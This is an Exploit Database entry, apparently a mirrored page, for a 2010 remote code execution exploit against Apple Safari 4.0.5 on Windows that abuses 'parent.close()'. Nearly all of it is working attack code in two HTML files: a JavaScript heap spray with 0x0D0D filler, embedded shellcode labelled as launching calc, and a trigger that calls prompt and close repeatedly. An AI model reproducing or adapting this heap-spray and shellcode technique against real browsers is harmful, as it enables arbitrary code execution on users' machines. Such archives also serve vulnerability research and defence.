Apple Safari 4.0.5 – ‘parent.close()’ Memory Corruption Code Execution

• Exploit Database
• 11 阅读

• 作者： Krystian Kloskowski
  日期： 2010-05-11
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/12573/

• <!-- 
  Apple Safari 4.0.5 parent.close() (memory corruption) 0day Code Execution Exploit
  Bug discovered by Krystian Kloskowski (h07) <h07@interia.pl>
  Tested on: Apple Safari 4.0.5 / XP SP2 Polish
  Shellcode: Windows Execute Command (calc)
  Local: Yes
  Remote: Yes (POPUP must be enabled [Ctrl+Shift+K])
  Just for fun ;)
  -->
  
  <!---------------------------------REMOTE.htm---------------------------------
  <script>
  window.open("0day.htm"); //parent.close() activation
  self.close();
  </script>
  -----------------------------------REMOTE.htm-------------------------------->
  
  <!---------------------------------0day.htm---------------------------------->
  <h1>Alt + F4 :)</h1>
  
  <script>
  function make_buf(payload, len) {
  while(payload.length < (len * 2)) payload += payload;
  payload = payload.substring(0, len);
  return payload;
  }
  
  var shellcode = unescape("%u9090%u9090"+ //Windows Execute Command (calc)
  "%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b"+
  "%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca"+
  "%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b"+
  "%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%uc031%u8b64%u3040"+
  "%uc085%u0c78%u408b%u8b0c%u1c70%u8bad%u0868%u09eb%u808b%u00b0"+
  "%u0000%u688b%u5f3c%uf631%u5660%uf889%uc083%u507b%uf068%u048a"+
  "%u685f%ufe98%u0e8a%uff57%u63e7%u6c61%u0063");
  
  
  bigblock = unescape("%u0D0D%u0D0D");
  headersize = 20;
  slackspace = headersize+shellcode.length
  while (bigblock.length<slackspace) bigblock+=bigblock;
  fillblock = bigblock.substring(0, slackspace);
  block = bigblock.substring(0, bigblock.length-slackspace);
  while(block.length+slackspace<0x40000) block = block+block+fillblock;
  memory = new Array();
  for (i=0;i<1000;i++) memory[i] = block + shellcode;
  
  var a = parent;
  var buf = make_buf("AAAA", 10000);
  
  for(var i = 0; i <= 1; i++) {
  a.prompt(alert);
  a.prompt(buf);
  a.close();
  }
  </script>
  <!---------------------------------0day.htm---------------------------------->